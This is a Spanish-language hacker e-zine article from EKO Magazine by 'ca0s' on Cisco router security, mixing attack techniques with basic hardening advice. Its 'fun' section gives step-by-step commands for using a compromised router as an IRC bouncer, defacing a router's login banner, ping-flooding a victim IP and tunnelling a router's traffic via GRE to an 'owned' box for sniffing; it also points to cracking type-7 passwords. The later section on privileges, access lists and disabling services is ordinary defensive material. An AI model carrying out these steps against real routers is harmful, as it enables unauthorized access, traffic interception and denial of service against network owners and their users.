< ---------------------------- [ EKO Magazine ] ---------------------------- >
< - [ Peque~o CISCO Ilustrado ] -------------------------------------------- >
< - [ por ca0s ] ------------------------------------------------ (EKO 02) - >





               ---------------------------------------------

                         Peque~o CISCO Ilustrado.

               ---------------------------------------------


                                 by ca0s

                           [email protected]









   1.  Introduccion.


Decici escribir este texto porque cuando empeze a investigar sobre este tema,
no encontre ninguna guia que pudiera decir que realmente me sirvio. Todo lo
que leia era mucha teoria y cosas sacadas de manuales que no eran muy utiles.

Este texto tiene como objetivo ser una referencia basica de la seguridad en
routers CISCO sobre redes IP. Con esto quiero decir que no habra mucha teoria
sobre lo que es un router, para que sirve, etc. y tratare de concentrarme mas
que nada en ejemplos de cosas que realmente se nos puedan presentar.

Quiero aclarar que no pretendo abarcar todo lo relacionado a la seguridad de
los routers CISCO porque seria algo tonto e imposible, como lo dije antes
esto es una "referencia basica" como para comenzar a adentrarse en el tema.

Como todo lo relacionado a la seguridad, para poder hacer a un sistema seguro
tambien es necesario saber como romper esa seguridad, por lo cual en algunos
casos nos pondremos en ambos puntos de vista.

Bueno, espero que esto les sea util y ante cualquier duda, comentario o
critica no duden en escribirme.



   2.  Sacando informacion.


Vamos a usar los comandos "show" para ver la informacion mas util que podemos
sacar del router. Dependiendo del nivel de acceso que tengamos, la version del
IOS y el modelo del router algunos comandos estaran disponibles o no:

router>show version
Informacion general del router, principalmente sabremos la serie del router,
que version del IOS tiene y hace cuanto tiempo que se encuentra activo.

router>show interfaces
Nos muestra las interfaces del router y como estan configuradas, en redes IP
tendremos acceso a cada segmento de la red a la cual alguna interfaz apunte.

router>show users
Podemos ver los usuarios que se encuentran online, pudiendo rescatar nombres
de usuarios, direcciones de hosts, modems activos, etc.

router>show privilege
Nos muestra los privilegios del usuario con el cual estamos conectados, los
privilegios son un valor numerico que va desde 0 a 15, donde 15 es como ser
root en un Unix.

router>show arp
Muestra las direcciones IP y las MAC Address de los hosts que se encuentran
en la misma subred que alguna interfaz del router.

router>show hosts
Podemos ver los DNS que utiliza el router, los hosts y las direcciones IP a
los que el router esta haciendo conexiones.

router>show terminal
Vemos la configuracion de la terminal que estamos usando, si el history esta
activo y los transportes para conexion soportados.

router>show history
Crea un log de todos los comandos que utilizamos. Lo podemos desactivar de
esta forma: router>terminal history size 0

router>show access-lists
Aqui tenemos todas las listas de acceso que tiene el router, esto es util
para tener una idea de como esta armada la red en razon de confianza y puntos
mas importantes.

router>show ip alias
Si el router esta en una red IP podremos ver por ejemplo las distintas
direcciones IP que tienen las interfaces de ese mismo router.

router>show ip route
Nos muestra la tabla de ruteo. Sirve para darse una buena idea de la estructura
de la red, a que segmentos de red esta conectado, etc.

router>show logging
Muestra los parametros del logueo que tiene, en algunos casos los logs son
enviados a algun Unix que actua como servidor syslog.

router#show configuration
(necesita enable) Muestra la configuracion de todo el sistema, incluyendo los
passwords encriptados y sin encriptar. Esto seria lo mismo que hacer:
router#show running-config

Habran notado que teniendo privilegios minimos pudimos acceder a valiosa
informacion, esto es algo que se le critica a CISCO, su comando show(mostrar)
muestra demasiado.



   3.  Un poco de diversion.


Ahora veremos como acceder al IRC usando un router como bouncer para esconder
nuestra IP. Primero abrimos nuestro cliente de IRC preferido, y luego en la
linea de comandos tipeamos lo siguiente:

/server router_IP 23
/quote router_password
/quote irc.ciudad.com.ar 6667
/quote user ca0s
/quote nick ca0s

Lo que hacemos es conectarnos al router desde nuestro cliente de chat y desde
ahi al servidor de IRC. Seria lo mismo que telnetear desde el router al IRC
pero sin necesidad de tener el RFC a mano.

Siguiendo con la boludes, vamos a hacer lo que seria un "defacement" pero
aplicado a los routers CISCO. Osea, vamos a cambiarle el banner de entrada al
router:

router#configure terminal
router(config)#banner login x

                       Owned by Ezkracho Team

***AVISO**AVISO**AVISO**AVISO**AVISO**AVISO**AVISO**AVISO**AVISO**AVISO***
Usted ha accedido a una computadora del gobierno de la Republica Argentina.
El uso de esta computadora sin autorizacion o para propositos para los cuales
ninguna autorizacion ha sido otorgada constituye una violacion de las leyes
federales y sera punible con multas o prision.
***AVISO**AVISO**AVISO**AVISO**AVISO**AVISO**AVISO**AVISO**AVISO**AVISO***

x
router(config)#exit

La letra "x" es la que en este ejemplo marca el final de texto, asi que tengan
en cuenta no escribir ninguna palabra con la letra que elijan.

Si son muy pijas y con esto no les alcanza, tambien pueden cambiar el prompt
del router de esta forma:

router#configure terminal
router(config)#prompt HiAdmin%p
router(config)#exit
HiAdmin#

Al ponerle el "%p" al final le indicamos que mantenga la ">" y el "#" para
indicarnos los distintos niveles de acceso, de lo contrario solo nos aparece
la palabra que elejimos y se hace medio confuso. Si quieren dejar el prompt
como viene por default hacen "no prompt PALABRA".

Algo por demas util para esos molestos del IRC es usar el router para realizar
un PING flood, imaginense que estos aparatos manejan un buen ancho de banda,
por lo que este tipo de DoS puede volverse muy efectivo:

routers#ping
Protocol[IP]: (ENTER)
Target IP address: 24.232.105.113
Repeat count [5]: 500000
Datagram size [100]: 20000
Time out in seconds [2]: 0
Extended commands [n]: (ENTER)
Sweep range of sizes [n]: (ENTER)

Despues de poner "ping", en la primera linea presionamos ENTER, en la segunda
linea ponemos la direccion IP de la victima, en la tercera linea la cantidad
de veces que queremos que se envie el paquete, en la cuarta linea el tama~o
del paquete, en la quinta linea los segundos que debe esperar y en las
siguientes dos lineas presionamos ENTER.

Para finalizar esta seccion me gustaria explicar brevemente algo muy util como
lo es sniffear un router.

La teoria es mas que simple, lo que hariamos seria re-rutear el trafico del
router enviandolo a nuestro box, sniffear los paquetes que llegan y volver a
enviar ese trafico desde nuestro box al router para que este los diriga a su
destino real.

Esta tecnica fue originalmente descripta por gaius del HERT en la Phrack 56;
junto con su excelente articulo venia el tunnelx.c que es el soft que nos
permitira redireccionar el trafico del tunel a una interfaz existente, pero
nosotros vamos a utilizar el funnel.c hecho por jimjones de [lowlevel] ya
que fue con el cual personalmente tuve mejores resultados.

Como dije al principio la teoria es mas que simple, y el llevarlo a la practica
tambien lo es, asi que sigamos este caso hipotetico:

root@foo#telnet 192.168.1.200 (IP del router)

router>enable
router#configure terminal
router(config)#int tunnel0
router(config-if)#ip address 192.168.0.1 255.255.255.0
router(config-if)#tunnel mode gre ip
router(config-if)#tunnel source Ethernet0/0/0
router(config-if)#tunnel destination 192.168.1.1
router(config-if)#exit
router(config)#exit
router#disable
router>

Con esto ya reruteamos todo el trafico a nuestro box en la IP 192.168.1.1.
Cuando digo "nuestro" box, no me refiero a "nuestro" box, sino a algun box
owneado que tengamos por alli.

A partir de aqui compilamos y corremos el funnel, y con cualquier sniffer
como el dsniff capturamos los paquetes que nos llegan. Luego simplemente
levantamos un tunel hacia el router desde nuestro box y le redireccionamos
los paquetes.

Si tienen problemas para compilar el funnel.c lo mas probable es que les
falte alguna libreria. El funnel.c se lo pueden bajar de www.low-level.net.



   4.  Defendiendo nuestro CISCO.


Los siguientes son los coneceptos basicos que deberemos tener en cuenta si
vamos a administrar la seguridad de un router CISCO. Tengan en cuenta que
esto solo es "lo basico", y en la mayoria de los casos todo dependera del
router que esten usando y de las necesidades de la red.


A.  Usuarios y privilegios.

Los privilegios de acceso van desde 0 hasta 15, siendo 1 lo usual para un
usuario normal(cuando nos logueamos al router) y 15 el default para el usuario
privilegiado.

router>show privilege
Current privilege level is 1
router>enable
Password:
router#show privilege
Current privilege level is 15
router#disable
router>show privilege
Current privilege level is 1

Podemos proteger la contrase~a del usuario privilegiado(llamemoslo enable)
mediante dos tipos de encriptacion, una con un algoritmo de encriptacion
trivial de CISCO conocido como de tipo 7, y otra con MD5 que es un algoritmo
muy fuerte conocido como de tipo 5.

Para encriptar el password de enable con el algoritomo trivial de CISCO
simplemente hacemos un "enable password", y a continuacion bajamos el
ciscocrack.c de PacketStorm para crackearlo, ahora si deseamos utilizar un
algoritmo de encriptacion en serio hacemos lo siguiente:

router#configure terminal
router(config)#enable secret NEWPASS
router#exit
router#copy running-config startup-config

Vemos que entramos en modo de configuracion, cambiamos el password, salimos
del modo de configuracion y guardamos los cambios copiando la configuracion
al startup.

Ahora vamos a cambiar la contrase~a para todos aquellos que ingresen mediante
telnet con privilegio de ejecucion normal. Como vemos lo estamos haciendo para
las terminales virtuales desde la 0 hasta la 5:

router#configure terminal
router(config)#no enable secret
router(config)#line vty 0 4
router(config)#password NEWPASS
router(config)#exit

Si somos muy paranoicos directamente podemos desactivar el acceso al router
mediante telnet de esta forma:

router#configure terminal
router(config)#no enable secret
router(config)#line vty 0 4
router(config)#transport input none
router(config)#exit
router#

Por default cuando nos conectamos a la consola o al puerto auxiliar tenemos
privilegios de ejecucion de usuario(nivel 1 por default) sin password. De la
siguiente forma lo configuramos para que nos pida password:

router#configure terminal
router(config)#line console 0
router(config)#login
router(config)#password PASS
router(config)#exec-timeout 1 30
router(config)#line aux 0
router(config)#login
router(config)#password PASS
router(config)#exit
router#

Como habiamos visto al principio con los comandos "show", el IOS permite el
uso de ciertos comandos con privilegios minimos que no deberia permitir; es
mas, al listar los comandos disponibles con "comando ?" solo aparecen algunos,
pero si ejecutamos otros que sabemos que se encuentran estando en modo enable
los podremos utilizar sin ninguna restriccion.

Una solucion para pevenir que personas sin los suficientes privilegios puedan
tocar o mirar cosas que no deben en nuestro router, es asignarle al usuario
normal privilegios de 0 en vez de 1. Al hacer esto le estamos restringiendo
el uso de todos los comandos y manualmente debemos especificar que comandos
puede utilizar.

Tambien es valido el proceso contrario, directamente especificamos que solo
podran ejecutar ciertos comandos los que tengan un determinado nivel de
privilegios.

router#privilege exec level 7 show
router#enable password level 7 PASS

En este ejemplo lo que decimos es que para poder utilizar el comando show
debemos poseer un nivel de privilegio 7, y luego seteamos un password para
ese nivel.


B.  Listas de acceso.

Tenemos dos tipos de listas de acceso, las estandares y las extendidas.
Las estandares tienen una sola direccion de correspondencia, mientras que
las extendidas tienen dos direcciones con informacion opcional del tipo de
protocolo.

- Listas de acceso estandares:

access-list lista [permit|deny] IP mascara

"lista" es un valor numerico que va desde 1 hasta 99. "permit" y "deny"
corresponden a permitr y denegar en las reglas. Los valores de "IP" y
"mascara" son de 32 bits y se escriben en notacion decimal punteada, pero
no debe confundirse esta "mascara" con la mascara de subred que subdivide
un numero de asignacion de red IP.

Veamos estos ejemplos:

access-list 1 permit 200.51.210.0 0.0.0.255
access-list 1 permit 200.45.0.0 0.0.255.255

Aqui especificamos dos valores de IP y mascara, ambos se aplican al numero
1 de la lista de acceso. El primer comando de la lista permite el acceso a
toda la clase C de 200.51.210.0 y el segundo permite acceso a toda la clase
B de 200.45.0.0.

Si no se especifica valor de mascara se entendera que es todo 0.0.0.0; por
lo que lo siguiente tendria el mismo efecto:

access-list 2 permit 200.45.184.3 0.0.0.0
access-list 2 permit 200.45.184.3

en este caso solo se permite el trafico de la IP 200.45.184.3.

Ahora, para terminar de redondear el tema sobre este tipo de listas, veamos
el siguiente ejemplo:

access-list 3 permit 24.232.144.11 0.0.0.0
access-list 3 deny 24.232.0.0 0.0.255.255
access-list 3 permit 24.0.0.0 0.255.255.255

Lo que decimos aqui es que se permita el trafico a toda la clase A 24.0.0.0,
pero dentro de esta red se le deniegue a la clase B 24.232.0.0, exceptuando
a la IP 24.232.144.11 que si tiene permitido el trafico.

- Listas de acceso extendidas:

Las listas de acceso extendidas nos permiten filtrar el trafico de una
interfaz en base a direcciones IP fuente y destino, ademas de la informacion
del protocolo.

access-list lista [permit|deny] prot IP_in masc_in IP_out masc_out oper

"lista" es un valor numerico que ira desde de 100 hasta 199, y sirve para
identificar a las distintas reglas. "permit" y "deny" corresponden a permitr
y denegar en las reglas. "prot" es el protocolo que usaremos, que puede ser
IP, TCP, UDP e ICMP, pero como el IP encapsula los paquetes TCP, UDP e ICMP
puede utilizarse para igualar a cualquiera de ellos. "IP_in" y "masc_in" nos
indicaran la IP origen. "IP_out" y "masc_out" nos indicaran la IP destino;
recuerden que aqui la mascara no tiene nada que ver con la mascara de subred
en redes IP. Con "oper"(operador y operando) se puede comparar los numeros
de puerto, puntos de acceso o nombres de contacto; estos valores son validos
para TCP y UDP, siendo los operadores posibles it(menor que), eq(igual que),
gt(mayor que) y neq(diferente que).

A los ejemplos:

access-list 101 deny tcp 24.232.1.1 0.0.0.0 200.47.180.0 0.0.0.255 eq 23

Aqui simplemente estamos diciendo que la IP 24.232.1.1, no puede hacer ninguna
conexion TCP al puerto 23 de la red clase C 200.47.180.0.

Veamos otro:

access-list 101 permit tcp 0.0.0.0 255.255.255.255 200.30.0.0 0.0.255.255
gt 1023
access-list 101 permit tcp 0.0.0.0 255.255.255.255 200.30.10.1 0.0.0.0 eq 25
access-list 101 permit icmp 0.0.0.0 255.255.255.255 200.30.0.0 255.255.255.255
interface ethernet 0
ip access-group 101

El primer comando de la lista, permite cualquier conexion TCP entrante con
puertos destinatarios mayores a 1023. El segundo comando de la lista admite
conexiones de cualquier lugar al puerto 25 de la IP 200.30.10.1. El ultimo
comando permite los mensajes ICMP entrantes para la retroalimentacion de error.

Hay que tener en cuenta que en las listas de acceso extendidas, una vez que
terminamos de definirlas se las tenemos que aplicar a una interfaz en concreto,
por supuesto aplicandole un numero de lista como en las dos ultimas lineas
del ejemplo anterior:

interface ethernet 0
ip access-group 101

Veamos un ultimo ejemplo esperando que mi cabeza pueda seguir un poco mas.

Supongamos lo siguiente, somos los administradores de la red 200.47.0.0 que se
encuentra conectada a Internet. Y queremos que desde esta red hacia Internet
se pueda establecer cualquier conexion TCP, pero no queremos lo contrario,
salvo por la maquina 200.47.10.8 en la que tenemos un webserver y en este caso
si permitiremos conexiones desde Internet a esa IP pero solo en el puerto 80.

access-lists 102 permit tcp 0.0.0.0 255.255.255.255 200.47.0.0 0.0.255.255
established
access-lists 102 permit tcp 0.0.0.0 255.255.255.255 200.47.10.8 0.0.0.0 eq 80
interface ethernet 0
ip access-group 102

Como vemos la palabra "established" es la clave aqui, puesto que puede indicar
una conexion establecida en el protocolo TCP.

Por ultimo, cualquier error que hayamos cometido al hacer las listas de acceso
tanto estandares como extendidas, lo podemos subsanar elimininando la lista
de esta forma:

no access-list lista

donde "lista" es el numero que le pusimos a la regla.


C.  Deshabilitando servicios.

Generalmente la mayoria de los routers CISCO vienen corriendo con muchos
servicios por default que jamas vamos a utilizar. Los siguientes son algunos
servicios que deberiamos considerar desactivar:

no service udp-small-servers
no service tcp-small-servers
no service finger
no ip bootp server
no ip http server
no service pad
no ntp enable

Algunos de los siguientes servicios deberemos indicarle la interfaz donde
vamos a desactivar el servicio, tengan en cuenta de hacerlo en todas si es
necesario:

interface Ethernet0
no cdp enable
!para desactivar el protocolo CDP

no cdp run
!lo mismo que lo anterior pero de manera global

no ip unreachables
!para evitar que sepan que usamos listas de acceso

interface Ethernet1
no ip proxy-arp
!si no necesitamos el servicio de proxy ARP

interface Ethernet1
no ip redirects
!si no necesitamos enviar redireccionamientos

interface Ethernet0
no ip directed-broadcast
!para evitar ataques del tipo smurf



   5.  Despedida.


Como vimos los routers CISCO son como cualquier otro sistema que conocemos,
no podemos dejarlo funcionando con una "instalacion por default", y gracias
a la inoperancia de CISCO en algunos aspectos esto se complica mucho mas.

Bueno, espero que esta mini-guia con los conceptos basicos de la seguridad
en estos routers les haya sido util. Si son administradores espero que
puedan dormir con una falsa sensacion de seguridad y si no lo son estoy
seguro que se van a divertir mucho.

Disculpen cualquier gran error que haya cometido, y cualquier comentario o
critica sera bien recibida. Si me llega algun feedback de quienes les haya
servido esto posiblemente lo vuelva a editar con mas cosas.

Saludos para toda la Ezkracho ppl, Raza Mexicana, SET, 0wn3d, NetSearch,
0ri0n, Control Total, dr_fdisk^, Dr|3xe, Kl0nk Manson, RaiSe, Tahum, krip7ik,
Cinic, Van Hackez, los amigos de #linux, #mardel y toda la gente de la que
seguramente me estoy olvidando.


       Hasta la proxima!, ca0s.


*EOF*